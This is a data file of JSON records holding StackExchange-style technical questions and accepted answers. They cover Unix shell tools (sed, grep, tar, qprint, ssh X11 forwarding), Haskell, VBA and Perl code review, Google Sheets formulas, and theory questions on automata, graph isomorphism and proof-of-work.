{  "id": "_unix.351554"  , "question": "How to know which custom coded language(c,c++,java) has been used in a application which is running in a production server or any server where only binary/executable files are there ? "  , "title": "How to know custom coded language"  , "tags": "application"  } 
{  "id": "_codereview.78631"  , "question": "IntroductionI've written a simple command line todo-list in Haskell.The full code can be found here. However, given people's time constraints, I have selected three verbose functions for review.Function Oneprogram :: StateT TodoList IO ()program = do    StateT $ \\xs -> do        (choice,_) <- runStateT requestChoice xs        (_,xs') <- runStateT (parseChoice choice) xs        runStateT printList xs'        runStateT program xs'main = runStateT program []Questions:Am I repeating myself too much by extracting the monads using runStateT?Is there a better way to structure the main program? Function TwoparseChoice :: Text -> StateT TodoList IO ()parseChoice choice    | first == add = addItem $ TodoItem second third    | first == remove = removeItem $ parseInt second    | first == save = saveList second    | first == load = loadList second    | first == quit = StateT $ \\_ -> exitSuccess    | otherwise = invalidChoice first    where   args =  split (=='|') (toLower choice)        first = head args        second = if length args > 1 then args !! 1 else         third = if length args > 2 then args !! 2 else Questions:Am I using too many guards?Function ThreeremoveItem :: Maybe Int -> StateT TodoList IO ()removeItem mn = StateT remove    where remove = \\xs -> case mn of        Just n -> if n <= length xs - 1             then return ((),removeAt n xs)            else do                S.putStrLn Index too large                return ((),xs)        Nothing -> do            S.putStrLn Invalid index entered            return ((),xs)General QuestionsWhich parts are un-idiomatic?Which parts are superfluous?Should I decompose these longer functions into smaller functions that do less?How else can I improve this code?"  , "title": "Simple command line todo-list"  , "tags": "haskell"  , "accepted_answer": "It seems like you may not quite grasp the interplay between do-notation and monad transformer stacks. Take a look at how I've rewritten program here to leverage the actual machinery of StateT. The version you wrote is needlessly verbose due to your manually plumbing the state around!program :: StateT TodoList IO ()program = do    choice <- requestChoice    parseChoice choice    printList    programparseChoice can be cleaned up by favoring pattern matching over guards. Whenever you see a wall of guards that depend only on Eq, consider pattern matching instead.parseChoice :: Text -> StateT TodoList IO ()parseChoice choice =    case split (== '|') (toLower choice) of        [add, date, message] -> addItem $ TodoItem date message        [remove, index]      -> removeItem $ parseInt index        [save, file]         -> saveList file        [load, file]         -> loadList file        [quit]               -> lift exitSuccess        (invalid:_)            -> invalidChoice invalidI think you can probably guess what can change about removeItem after reading my other changes now, so before reading this next code block try rewriting it on your own.removeItem :: Maybe Int -> StateT TodoList IO ()removeItem Nothing  = lift $ putStrLn Invalid index enteredremoveItem (Just n) = modify (removeAt n)"  } 
{  "id": "_unix.243487"  , "question": "I am working with the raw source content of a mail.app message in OSX, but results it gives me the text in quoted printable MIME Email encoding. so I need to remove all those strange characters to get the correct HTML.Here is an example:<p style=3Dmargin:1em 0 3px 0;><a name=3D1 style=3Dfont-family:Arial, Helvetica, sans-serif;font-size:1=8px; href=3Dhttp://feedproxy.google.com/~r/WwwhatsNew/~3/8BdOd-xRTU4/?utm=_source=3Dfeedburner&amp;utm_medium=3Demail>Hyundai ya ofrece manuales de =los coches con Realidad Aumentada</a></p>Here I have =CRLF and =3DI know how to replace all of this characters =C3=A1 =C3=A9 =C3=AD =C3=B3 =C3=BA =C3=81 =C3=89 =C3=8D =C3=93 =C3=9A =C3=B1 =C3=91 =3D =fI just need to delete this =CRLF or '=' followed by a newline."  , "title": "Regex to match = followed by a newline so they both be deleted"  , "tags": "shell script;text processing;regular expression;newlines"  , "accepted_answer": "Why reinvent the wheel?  qprint already exists:Description-en: encoder and decoder for quoted-printable encodingQprint is a command-line program that can encode or decode files  from/to quoted-printable encoding (RFC1521). It can work with both  text and binary data.Homepage: http://www.fourmilab.ch/webtools/qprint/Sample input:$ cat nadir.txt <p style=3Dmargin:1em 0 3px 0;><a name=3D1 style=3Dfont-family:Arial, Helvetica, sans-serif;font-size:1=8px; href=3Dhttp://feedproxy.google.com/~r/WwwhatsNew/~3/8BdOd-xRTU4/?utm=_source=3Dfeedburner&amp;utm_medium=3Demail>Hyundai ya ofrece manuales de =los coches con Realidad Aumentada</a></p>Sample output:$ qprint -d nadir.txt <p style=margin:1em 0 3px 0;><a name=1 style=font-family:Arial, Helvetica, sans-serif;font-size:18px; href=http://feedproxy.google.com/~r/WwwhatsNew/~3/8BdOd-xRTU4/?utm_source=feedburner&amp;utm_medium=email>Hyundai ya ofrece manuales de los coches con Realidad Aumentada</a></p>qprint is available pre-packaged for most linux distros.There are also several perl modules for encoding & decoding quoted-printable text, including MIME::QuotedPrint and PerlIO::via::QuotedPrint.   No doubt, a quick google search would also reveal QP libraries for python and other languages."  } 
{  "id": "_unix.285482"  , "question": "I want to refine an HTML code using sed, as an extra refinement procedure after refining it using HTML Tidy, as HTML Tidy doesnt look flexible enough for some requirements.I used this command to add some tabs and/or line breaks to some tags and remove them from others:s/<li>/\\t&/gs/\\n<\\/li>/<\\/li>/gThe first command worked fine unless li has an attribute, so, how can I target an opening tag regardless of whether it has an attribute or not?The second command didnt work at all. I want here to put the closing tag </li> at the end of the previous line."  , "title": "Adding/removing some tabs and line breaks in an HTML code using sed"  , "tags": "sed;newlines;html"  , "accepted_answer": "Consider this sample file:$ cat sample.html <li a=x>Point One</li><li>Point Two</li>I believe that this sed command does what you ask (this may require GNU sed):$ sed -Ez 's|<li\\b|\\t<li|g; s|\\n</li\\b|</li|g' sample.html        <li a=x>Point One</li>        <li>Point Two</li>How it works-EUse extended regex.-zRead nul-delimited data.  Since a proper html file has not nul-characters, this has the effect of reading in the whole file at once.s|<li\\b|\\t<li|gThis puts a tab in front of every occurrence of <li followed by a word boundary.s|\\n</li\\b|</li|gThis replaces every occurrence of newline followed by <li followed by a word boundary with <li.A variation: putting <li> on its own line$ sed -Ez 's|<li[^>]*>|&\\n|g; s|\\n</li\\b|</li|g' sample.html<li a=x>Point One</li><li>Point Two</li>Obligatory warninghtml can be complex and these sed commands are only intended to work on simple cases."  } 
{  "id": "_codereview.154270"  , "question": "I have a form that looks like this:It is initialized with a Shortcut from the keyboard. It is in a module:Public Sub ShowMainForm()    With frmMain        .Show vbModeless    End With        End SubThe form has a button:Private Sub btnRun_Click()    Call MainGenerateReport    End SubThe button runs a procedure, called MainGenerateReport in a module.Public Sub MainGenerateReport()     ' other code;    Call frmMain.MakeLabel    ' other code;End SubfrmMain.MakeLabel changes a label in the form with some information:Public Sub MakeLabel()    Dim c           As Long    Dim r           As Long    Me.lbInfo.Visible = checkNumbers    Me.lbInfo.Clear    If checkNumbers Then        With Me.lbInfo            .ColumnCount = 2            .ColumnWidths = CStr(Me.lbInfo.Width / 1.8 & ; & Me.lbInfo.Width / 4)            For r = 0 To 7                .AddItem                For c = 0 To 1                    .List(r, c) = tblInfo.Cells(1 + r, 3 + c)                Next c            Next r        End With    End IfEnd SubAt the end, if I want to close the form, I use the Esc key. I have a button on the form, btnExit and its cancel property is set to True:Private Sub btnExit_Click()    Unload MeEnd SubThe problem: According to VBA best practices, I should initialize the form like this (and rewrite my MakeLabel and the btnExit_Click accordingly):Public Sub ShowMainForm()    With new frmMain        .Show vbModeless    End With        End SubIs that recommended?"  , "title": "Working with a new form instance every time"  , "tags": "object oriented;vba;form"  , "accepted_answer": "Public Sub ShowMainForm()    With frmMain        .Show vbModeless    End With        End SubYou don't want that With block, it's redundant.Public Sub ShowMainForm()    With New frmMain        .Show vbModeless    End With        End SubYou don't want to do that with a vbModeless form either - the instance will be destroyed quite immediately after being created.For an object-oriented approach that uses a modeless form, I'd suggest you make the form a member of a dedicated presenter class:Option ExplicitPrivate WithEvents summaryForm As frmMain ' <~ notice WithEvents ..I'll get to it.Private Sub Class_Initialize()    Set summaryForm = New frmMainEnd SubPrivate Sub Class_Terminate()    Set summaryForm = NothingEnd SubPublic Sub Show()    If Not summaryForm.Visible Then summaryForm.Show vbModelessEnd SubPublic Sub Hide()    If summaryForm.Visible Then summaryForm.HideEnd SubNow, this presenter class shall be responsible for accessing the form; notice how it already hides the implementation detail of the modeless-ness to the outside world.When the user clicks the btnRun button, the form itself shouldn't be responsible for anything - so instead of calling MainGenerateReport directly, we'll fire an event to tell the presenter class that it needs to do something about it:Option ExplicitPublic Event OnRunReport()Public Event OnExit()Private Sub btnRun_Click()    RaiseEvent OnRunReportEnd SubPrivate Sub btnExit_Click()    RaiseEvent OnExitEnd SubThat way the form has no dependencies to other modules, and pretty much zero responsibilities.Back to the presenter, we can handle these events:Private Sub summaryForm_OnRunReport()    MainGenerateReport    RefreshEnd SubPrivate Sub summaryForm_OnExit()    HideEnd SubPublic Sub Refresh()    'todoEnd SubThis leaves the problem of MakeLabel/Refresh. I don't know what tblInfo is, but I'm pretty sure it's not the form's concern. Really all it needs is some Range or ListObject that contains whatever information needs to go into that list - and instead of looping to .AddItem and explicitly set each .ListItem, you could use the control's .RowSource property and avoid looping altogether; this CR Q&A shows how.Once the presenter class is capable of providing a data source for the form's ListBox (you'll have to verify it it actually binds to the source; if that's the case then you won't even need a refresh button, the list would just update itself).That would be the Refresh implementation.The last step is to instantiate the presenter; as long as the presenter instance is alive, the encapsulated form instance lives - there's no need to explicitly Unload Me anywhere.Say you named the class SummaryPresenter, then you could have it exist in global scope:Option ExplicitPrivate presenter As SummaryPresenterPublic Sub ShowMainForm() ' macro attached to shortcut key    If presenter Is Nothing Then Set presenter = New SummaryPresenter    presenter.ShowEnd SubSince we made the OnRunReport handler call Refresh after MainGenerateReport runs, the procedure no longer needs to call it explicitly. Or, if it does need to (hard to tell with just a little 'other code; comment to work with), then it can do so by calling the Presenter object's Refresh method:Public Sub MainGenerateReport()     ' other code;    presenter.Refresh    ' other code;End SubThis makes your code use the same instance of frmMain all the time, while separating responsibilities into different [class] modules... which isn't much different from working against the default instance in the first place.But then, everything boils down to why you would want a new instance every time - IMO if the form is a modeless toolwindow that you can show/hide while working in Excel, then it's objectively better (more efficient) to avoid initializing it everytime you want to show it... just like it's more efficient to avoid initializing the listbox columns everytime you refresh it ;-)"  } 
{  "id": "_cs.16188"  , "question": "BackgroundA proof-of-work system allows one peer to prove to another peer that a certain amount of computational effort was performed.In a network setting this can be used to throttle peer requests without needing to keep a precise track on the identity of the peers or prior events. The most well known use of proof-of-work is to throttle spam throughput in an email network*.Some proof-of-work systems allow certain roles on the network (say, a mailing list) to calculate the proof of work much faster by using a secret short-cut - typically a pre-calculated trapdoor or a private key depending on the proof-of-work system.HypothesisAny algorithm or a certain class of algorithms can be converted into a proof-of-work version of that algorithm. That is: A deliberately inefficient and incompressible algorithm.Such converted proof-of-work algorithms can support proof-of-work shortcuts.Such converted proof-of-work algorithms can not be converted back to the original algorithm without considerable computational power; if at all.ExtrapolationIf the hypothesis holds, then selected business logic of an application - specifically that which is unique or value-added by that application vs existing applications - could be converted to proof-of-work equivalents.End-users could then be provided such an application; which will run slowly either generally or for certain premium features. The development team however, possesses a secret PoW shortcut and set up a subscription, donation or advertising(!)-based service - an SaaS - for solving the proof-of-work bottleneck for the end-user. The end-user can now choose to run the application slower without the SaaS or faster with the SaaS. This SaaS needs to process considerably less client-side business logic than a general cloud solution (e.g. Diablo 3 style SaaS); as the goal is the speed of execution rather than no execution - and the SaaS proof-of-work speed ratio is tailored accordingly. This is especially relevant for software projects supported by charity as the developers do want the software available to anyone but can encourage donations without needing a separate fairly easy to pirate Freemium edition. The Tragedy of the Commons (freeloading) could be discouraged to a fair extent without guilt-tripping or rat poisoning, by adjusting the proof-of-work cost relative the value of the application or service.Example 1: A commercial stock market estimation tool licensed per  month. If the user forgoes paying for a subscription, the estimation  occurs at 1% the normal rate.Example 2: A free Triple A co-op video game runs twice fast if the  user donates some money once a year.In either example the user must decide between accepting the default speed; spending money on a faster computer/cloud services; or contributing to the upkeep of the product.QuestionDoes the hypothesis hold and has anyone attempted to explore or implement this hypothesis?Any example of an open source library or application that attempts to implement the hypothesis qualifies as a sufficient answer (from my perspective); as I could dissect the code. * Which has a variety of issues for the Digital Divide, but that's another story"  , "title": "Using a proof-of-work system to discourage piracy or encourage donations"  , "tags": "time complexity;one way functions;proof of work"  } 
{  "id": "_unix.258645"  , "question": "I can connect to my universitys server, where I have a virtual machine running on Debian 8.3 (as far as I can see, no additional software is installed yet). I have admin rights and can install new software. Working with ssh isn't a problem. But besides using the shell I'd appreciate having a GUI (like when using RPD, x2go, etc.).I already read about VPS, would this do the job?Is there an easy/fast way to get a working desktop GUI with ssh and using it remotely? Thank you very much for your help in advance."  , "title": "Setup GUI via ssh"  , "tags": "ssh;remote;gui;remote desktop"  , "accepted_answer": "Yes, using SSH X11-Redirection.man sshhas this to say about it:-X      Enables X11 forwarding.  This can also be specified on a per-host basis in a configuration file.X11 forwarding should be enabled with caution.  Users with the ability to bypass file permissions on the remote host (for  the user's X authorization database) can access the local  X11 display through the forwarded connection.  An attacker may then be able to perform activities such as keystroke  monitoring.For this reason, X11 forwarding is subjected to X11 SECURITY extension restrictions by default.  Please refer to the ssh  -Y option and the ForwardX11Trusted directive in               ssh_config(5) for more information.Try the following:ssh -X yourusername@yourhostname xclockIf this works you can be sure that X11-Redirection works, given xclock is available in the system you're accessing via X11. Now you can just replace xclock with the command for the program you actually want to run."  } 
{  "id": "_cstheory.33953"  , "question": "Edit: I originally defined a regular function as a function computable by a Mealy machine, but Denis pointed out that that was a weaker model than what I was thinking of.So to be more precise, by a finite-state transducer with input alphabet $A$ and output alphabet $B$, I mean a deterministic finite automaton over $(A \\cup \\{\\epsilon\\}) \\times (B \\cup \\{\\epsilon\\})$. In particular, if both of the following hold for a transducer, then the transducer computes a function:Every transition $(q, (x,y), q')$ is uniquely determined by $q$ and $x$;If there is a transition $(q, (\\epsilon, x), q')$ for any $x$, then there are no other transitions from state $q$.Feel free to generalize or restrict as desired.Definitions:Let $L$ and $M$ be languages. A regular function $f:L\\to M$ is a function computable by a finite-state transducer $A$ such that $(l,m)\\in L(A)$ if and only if $l \\in L$ and $m=f(L)\\in M$. Note that it is decidable whether the relation computed by a given FST is a function. Define the equalizer $Eq(f,g)$ of two regular functions $f,g:A\\to B$ as the set of all strings $x\\in A$ such that $f(x)=g(x)=y$ for some $y\\in B$.Theorem: The equalizer of two regular functions is regular.Proof: Since $f$ and $g$ are regular functions, they are also regular relations. In particular, we can take their intersection $h=f\\cap g$. By definition, we have $(x,y)\\in h$ if and only if $(x,y)\\in f$ and $(x,y)\\in g$; in function notation this becomes $(x,y)\\in h$ iff $f(x)=g(x)=y$. By the closure properties of regular relations, it follows that $h$ is a regular relation; and since $f$ and $g$ are functions, $h$ is also a function.Since $h$ is a regular relation, it is recognized by some finite state transducer $T$. We can take the input projection $\\pi_1 T$, giving us a finite automaton which accepts a string $x$ if and only if $(x,y)\\in h$ for some $y$. Let $E$ denote the language of the automaton $\\pi_1 T$. By the definitions of $h$, $f$, and $g$, it follows that $x\\in E$ if and only if $x\\in A$ and $f(x)=g(x)=y$ for some $y\\in B$. $\\square$But wait. Suppose $A$ is the set of all nonempty strings $\\Sigma^+$ over some alphabet $\\Sigma$, and suppose $f$ and $g$ are homomorphisms (every homomorphism is a regular function.) Then we can take the equalizer $P=Eq(f,g)$, which is regular by the above theorem.Now $P$ will be nonempty iff there is a string $x\\in \\Sigma^+$ such that $f(x)=g(x)$. In other words, $P$ encodes the Post correspondence problem (PCP) for $f$ and $g$. But since $P$ is regular, it is recognized by some finite automaton, and emptiness is decidable for finite automata. Since intersection and projection are computable constructions on transducers, we therefore have a method to solve PCP given the transducers for the homomorphisms $f$ and $g$. But this is impossible since PCP is undecidable. So where am I wrong?"  , "title": "Are equalizers of regular functions always regular languages? (My guess is no because PCP, but...)"  , "tags": "fl.formal languages;automata theory;proofs;undecidability;post correspondence"  , "accepted_answer": "The problem is in your assumption that rational relations are closed under intersection. The following counter-example is taken from Example 2.5 in Berstel's Transductions and Context-Free Languages:Let $X, Y \\subseteq \\{a\\}^* \\times \\{b,c\\}^*$ be rational relations defined by\\begin{align*} X ={}& \\{ (a^n, b^n c^k) \\mid n,k \\geq 0 \\} \\\\ Y ={}& \\{ (a^n, b^k c^n) \\mid n,k \\geq 0 \\} \\end{align*}They are rational since $X = (a,b)^* (1,c)^*$ and $Y=(1,b)^*(a,c)^*$. But the intersection$$ Z = X \\cap Y = \\{ (a^n, b^n c^n) \\} $$is not rational. If there was a transduction $\\tau : \\{a\\}^* \\to \\mathcal{P}(\\{b,c\\}^*)$ realizing $Z$, then since transductions preserve regular languages, the language $\\tau(a^*) = \\{b^n c^n\\}$ would be regular, a contradiction."  } 
{  "id": "_unix.184182"  , "question": "The spec file is present inside the source directory. The specfile build section looks like%buildcd ~/path/sourcesmakeIf the spec file path can be detected then the hardcoding of the ~/path/sources can be avoided. How to get the spec file path."  , "title": "How to get spec file path within rpm spec file"  , "tags": "rpmbuild"  } 
{  "id": "_cstheory.19191"  , "question": "I am interested to study Graph Isomorphism (GI) complete problems.In the Paper  Problems Polynomially Equivalent to Graph Isomorphism by Kellogg S. Booth, (1979), proved that many basic problems are GI complete by using Edge replacement techniques, Composition techniques etc. I would like to learn some more techniques which are used in recent papers.Can some one suggest me some recent papers which are more concentrated in proving some graph class is GI complete.   "  , "title": "On Graph Isomorphism Complete Problems"  , "tags": "cc.complexity theory;reference request;graph isomorphism"  , "accepted_answer": "Graph Isomorphism Completeness for Perfect Graphsand Subclasses of Perfect GraphsC. Boucher D. Loker (2006)In this paper, we prove that deciding  isomorphism of double split graphs, the class of graphs exhibiting a 2-join, and the class of  graphs exhibiting a balanced skew partition are GI-complete. Further, we show that the GI  problem for the larger class including these graph classesthat is, the class of perfect graphsis  also GI-complete."  } 
{  "id": "_unix.39722"  , "question": "I want to backup 1 terabyte of data to an external disk.I am using this command: tar cf /media/MYDISK/backup.tar mydataPROBLEM: My poor laptop freezes and crashes whenever I use 100% CPU or 100% disk (if you want to react about this please write here).So I want to stay at around 50% CPU and 50% disk max.My question: How to throttle CPU and disk with the tar command?Rsync has a --bwlimit option, but I want an archive because 1) there are many small files 2) I prefer to manage a single file rather a tree. That's why I use tar."  , "title": "Preventing tar from using too much CPU and disk (old laptop crashes if 100%)"  , "tags": "tar;limit"  , "accepted_answer": "You can use pv to throttle the bandwidth of a pipe. Since your use case is strongly IO-bound, the added CPU overhead of going through a pipe shouldn't be noticeable, and you don't need to do any CPU throttling.tar cf - mydata | pv -L 1m >/media/MYDISK/backup.tar"  } 
{  "id": "_webapps.97531"  , "question": "I have data that was generated from a Google Form. The data has two parts: first a list of items the recipient checked, and second a score they gave (1-10). I would like to find the average score per item that was checked. Here is some sample data:Ultimately I want the result in this form:If I had a temporary table that looks like this:then I would be able to compute my final answer. I used this answer to write the query =QUERY(E2:F10, SELECT E, AVG(F) GROUP BY E LABEL E 'Reason', AVG(F) 'Average')I'm able to create almost what I want, but not quite. This is the closest I've gotten:Which I can get using: =ArrayFormula(QUERY(TRANSPOSE(ARRAYFORMULA(Trim(SPLIT(LOWER(CONCATENATE($A$2:$B$5&,)),,))))&{,},select Col1,0))You can find all of this sample data here.Would you please help me, either by transforming the data to be in the form I ultimately want it in (with the averages), or by helping me to create the temporary table in between?"  , "title": "How can I assign a single cell to the split out contents of it's neighbor?"  , "tags": "google spreadsheets"  , "accepted_answer": "I added a sheet called SO Test - Aurielle where you can view my resultsSo here is my suggestions - it requires 2 formulas and you would need to copy one of the formulas down as needed but otherwise its pretty simple:In column A you enter this formula:=UNIQUE(ARRAYFORMULA(TRIM(TRANSPOSE(SPLIT(JOIN(,,Sheet1!A:A),,)))))What I am doing here is first joining all the values with a common delimiter, in this case a , so it creates one long string, then splitting by that same delimiter to create a long list of all possible keywords. I use trim to clean it up and remove any unnecessary formatting, or space.I then use UNIQUE to get a list of all possible keywords.In Column B i entered: =AVERAGEIF(ARRAYFORMULA(REGEXMATCH(Sheet1!A:A,A2)),true,Sheet1!B:B)What this does is check each value in column A to see if it contains the keyword to the left of it, REGEXMATCH is great for this because it globally checks whether that word is at all contained in the original string, ignoring any other characters or punctuation. By using ARRAYFORMULA it converts the values to true or false, so if you were to expand and just show that formula by itself, it would say true,false,true, true, because food is contained in the 1st string, but not the 2nd, and is in the 3rd and 4th.Using AVERAGEIF, we use that array as the condition to check, but direct it to the column next to it, as the condition to average."  } 
{  "id": "_unix.350352"  , "question": "I have 2 similar files (dos.txt and unix.txt) with text The quick brown fox jumps\\n over the lazy dog. that differ by line endings. When I search for a word at the end of line, output from dos.txt is empty:$ grep -E 'jumps^M?$' dos.txt unix.txtunix.txt:The quick brown fox jumpsGrep finds something but doesn't print it. Actual output from grep looks like this:$ grep -E --color=always 'jumps^M?$' dos.txt unix.txt | cat -v^[[35m^[[Kdos.txt^[[m^[[K^[[36m^[[K:^[[m^[[KThe ... ^[[01;31m^[[Kjumps^M^[[m^[[K^[[35m^[[Kunix.txt^[[m^[[K^[[36m^[[K:^[[m^[[KThe ... ^[[01;31m^[[Kjumps^[[m^[[KSo it looks like the only difference is that ^M is inside colored output and it causes whole line to disappear. How can I fix this (without converting dos files using dos2unix or similar tools)?"  , "title": "grep --color=auto breaks when ^M is inside colored match"  , "tags": "grep;colors"  , "accepted_answer": "After some searching for ^[[K escape sequence, reading half of a book about VT100 terminal and checking man grep I have found that setting environment variable GREP_COLORS toGREP_COLORS=neGives desired output:$ export GREP_COLORS=ne$ grep -E --color=always 'jumps^M?$' dos.txt unix.txtdos.txt:The quick brown fox jumpsunix.txt:The quick brown fox jumps$ grep -E --color=always 'jumps^M?$' dos.txt unix.txt | cat -v^[[35mdos.txt^[[m^[[36m:^[[mThe ... ^[[01;31mjumps^M^[[m^[[35munix.txt^[[m^[[36m:^[[mThe ... ^[[01;31mjumps^[[mFrom grep man page:ne     Boolean  value  that prevents clearing to the       end of line using Erase in Line (EL) to Right       (\\33[K)  each  time  a  colorized  item ends.       This is needed on terminals on  which  EL  is       not  supported.   It  is  otherwise useful on       terminals  for  which  the   back_color_erase       (bce)  boolean  terminfo  capability does not       apply, when the chosen  highlight  colors  do       not  affect the background, or when EL is too       slow or causes too much flicker.  The default       is false (i.e., the capability is omitted).In my case it works good even if I set highlight color to something that change background:export GREP_COLORS=ne:mt=41;38Now the interesting question is why ^[[K produces this blank line.Character ^M means carriage return without going to next line:$ echo -e start^Mendendrt^[[K clears line from cursor to right and then writes rest of line:$ echo -e start\\033[KendstartendHowever when you put ^M before ^[[K it removes content:$ echo -e start^M\\033[KendendAfter writing start cursor goes to the beginning of line then ^[[K removes everything and rest of the line is written. In case of grep output first line writes everything up to word jumps, then goes back to beginning of line ^M, writes harmless ^[[m sequence and ^J that goes to new line. This is why ^[[K after ^M clears whole line. "  } 
{  "id": "_codereview.5545"  , "question": "(Originally posted on Stack Overflow)Following my findings and suggestions in my other post How to exclude a list of full directory paths in find command on Solaris, I have decided to write a Perl version of this script and see how I could optimize it to run faster than a native find command. So far, the results are impressive!The purpose of this script is to report all unowned files and directories on a Unix system for audit compliance. The script has to accept a list of directories and files to exclude (either by full path or wildcard name), and must take as little processing power as possible. It is meant to be run on hundreds of Unix system that we (the company I work for) support, and has be able to run on all those Unix systems (multiple OS, multiple platforms: AIX, HP-UX, Solaris and Linux) without us having to install or upgrade anything first. In other words, it has to run with standard libraries and binaries we can expect on all systems.I have not yet made the script argument-aware, so all arguments are hard-coded in the script. I plan on having the following arguments in the end and will probably use getopts to do it:-d = comma delimited list of directories to exclude by path name-w = comma delimited list of directories to exclude by basename or wildcard-f = comma delimited list of files to exclude by path name-i = comma delimited list of files to exclude by basename or wildcard-t:list|count = Defines the type of output I want to see (list of all findinds, or summary with count per directory)Here is the source I have done so far:#! /usr/bin/perluse strict;use File::Find;# Full paths of directories to prunemy @exclude_dirs = ('/dev','/proc','/home');# Basenames or wildcard names of directories I want to prunemy $exclude_dirs_wildcard = '.svn';# Full paths of files I want to ignoremy @exclude_files = ('/tmp/test/dir3/.svn/svn_file1.txt','/tmp/test/dir3/.svn/svn_file2.txt');# Basenames of wildcard names of files I want to ignoremy $exclude_files_wildcard = '*.tmp';my %dir_globs = ();my %file_globs = ();# Results will be sroted in this hashmy %found = ();# Used for storing uid's and gid's present on systemmy %uids = ();my %gids = ();# Callback function for findsub wanted {    my $dir = $File::Find::dir;    my $name = $File::Find::name;    my $basename = $_;    # Ignore symbolic links    return if -l $name;    # Search for wildcards if dir was never searched before    if (!exists($dir_globs{$dir})) {        @{$dir_globs{$dir}} = glob($exclude_dirs_wildcard);    }    if (!exists($file_globs{$dir})) {        @{$file_globs{$dir}} = glob($exclude_files_wildcard);    }    # Prune directory if present in exclude list    if (-d $name && in_array(\\@exclude_dirs, $name)) {        $File::Find::prune = 1;        return;    }    # Prune directory if present in dir_globs    if (-d $name && in_array(\\@{$dir_globs{$dir}},$basename)) {        $File::Find::prune = 1;        return;    }    # Ignore excluded files    return if (-f $name && in_array(\\@exclude_files, $name));    return if (-f $name && in_array(\\@{$file_globs{$dir}},$basename));    # Check ownership and add to the hash if unowned (uid or gid does not exist on system)    my ($dev,$ino,$mode,$nlink,$uid,$gid) = stat($name);    if (!exists $uids{$uid} || !exists($gids{$gid})) {        push(@{$found{$dir}}, $basename);    } else {        return    }}# Standard in_array perl implementationsub in_array {    my ($arr, $search_for) = @_;    my %items = map {$_ => 1} @$arr;    return (exists($items{$search_for}))?1:0;}# Get all uid's that exists on system and store in %uidssub get_uids {    while (my ($name, $pw, $uid) = getpwent) {        $uids{$uid} = 1;    }}# Get all gid's that exists on system and store in %gidssub get_gids {    while (my ($name, $pw, $gid) = getgrent) {        $gids{$gid} = 1;    }}# Print a list of unowned files in the format PARENT_DIR,BASENAMEsub print_list {    foreach my $dir (sort keys %found) {        foreach my $child (sort @{$found{$dir}}) {            print $dir,$child\\n;        }    }}# Prints a list of directories with the count of unowned childs in the format DIR,COUNTsub print_count {    foreach my $dir (sort keys %found) {        print $dir,.scalar(@{$found{$dir}}).\\n;    }}# Call it all&get_uids();&get_gids();find(\\&wanted, '/');print List:\\n;&print_list();print \\nCount:\\n;&print_count();exit(0);If you want to test it on your system, simply create a test directory structure with generic files, chown the whole tree with a test user you create for this purpose, and then delete the user.I'll take any hints, tips or recommendations you could give me."  , "title": "How can I further optimize this Perl script for finding all unowned files and directories on Unix?"  , "tags": "perl;file system;unix"  } 
{  "id": "_unix.367762"  , "question": "My script with the addition function will not execute the add operator (+) with two variables that I assign numeric values based on read. The other functions will work fine using the other operators.Script:#!/bin/bash                                              function addition {                                         FNUM1=$1                                                 FNUM2=$2                                                 RESULT=$((FNUM1+FNUM2))                                  echo RESULT: $RESULT                                          }                                                        function subtraction {                                       FNUM1=$1                                                 FNUM2=$2                                                 RESULT=$((FNUM1-FNUM2))                                  echo RESULT: $RESULT                                          }                                                        function multiplication {                                          FNUM1=$1                                                 FNUM2=$2                                                 RESULT=$((FNUM1*FNUM2))                                  echo RESULT: $RESULT                                          }                                                        function division {                                         FNUM1=$1                                                 FNUM2=$2                                                 RESULT=$((FNUM1/FNUM2))                                  echo RESULT: $RESULT                                          }                                                        clearecho Please select a calculation to make!              echo Choose how to you want to calculate two numbersCOUNTER=0                                                while [ $COUNTER -eq 0 ]                                 do                                                          echo                                                   echo 1 - addition                                      echo 2 - subtraction                                   echo 3 - multiplication                                echo 4 - division                                      echo 5 - QUIT                                          read CHOICE                                              case $CHOICE in                                             1)                                                          echo YOU CHOSE ADDITION!                               echo Enter first number:                               read NUM1                                                echo Added by:                                         read NUM2                                                addition $NUM1 $NUM                                      ;;                                                    2)         echo YOU CHOSE SUBTRACTION!                            echo Enter first number:                               read NUM1                                                echo Subtracted by:                                    read NUM2                                                subtraction $NUM1 $NUM2                                  ;;                                                    3)                                                          echo YOU CHOSE MULTIPLICATION!                         echo Enter first number:                               read NUM1                                                echo Multiplied by:                                    read NUM2                                                multiplication $NUM1 $NUM2                               ;;                                                    4)                                                          echo YOU CHOSE DIVISION!                               echo Enter first number:                               read NUM1                                                echo Divided by:                                       read NUM2                                                division $NUM1 $NUM2                                     ;;                                                    5)                                                          COUNTER=$(( $COUNTER + 1 ))                              ;;                                                    *)                                                          echo You must enter a number from 1 through 5!   esac                                                  done                                                                                                      Output:Please select a calculation to make!Choose how to you want to calculate two numbers1 - addition2 - subtraction3 - multiplication4 - division5 - QUIT1YOU CHOSE ADDITION!Enter first number:24Added by:5RESULT: 24I want the addition function to add the values that are read into the FNUM1 and FNUM2 variables."  , "title": "BASH Script not adding variables in the Function"  , "tags": "linux;bash;lubuntu"  } 
{  "id": "_cstheory.21451"  , "question": "It is well known that minimizing an NFA for a fixed regular language is $PSPACE-Complete$.As far as I know, there are no better than trivial algorithms for minimizing such NFA, but there's a little improvement if you consider symmetries.I've a specific regular language I'd like to compute a minimal automaton for:$$L_{k-distinct} :=\\{w = \\sigma_1\\sigma_2...\\sigma_k \\mid \\forall i\\in[k]: \\sigma_i\\in\\Sigma ~\\text{ and }~ \\forall j\\ne i: \\sigma_j\\ne\\sigma_i \\}$$But at the moment I can't seem to close the gap between the automaton I know to build for it and the lower bound I can prove for it.I thought it might be fruitful to use some tool that given a language (it is finite for all $k,n$), searches (exhaustively if needed) for the smallest automaton which accept it, and see what the automaton looks like for small values of $k,n$.Does anyone know a tool which builds a minimal automaton for a given language?"  , "title": "A tool for minimal NFA computation"  , "tags": "reference request;automata theory;nondeterminism;minimization;nfa"  } 
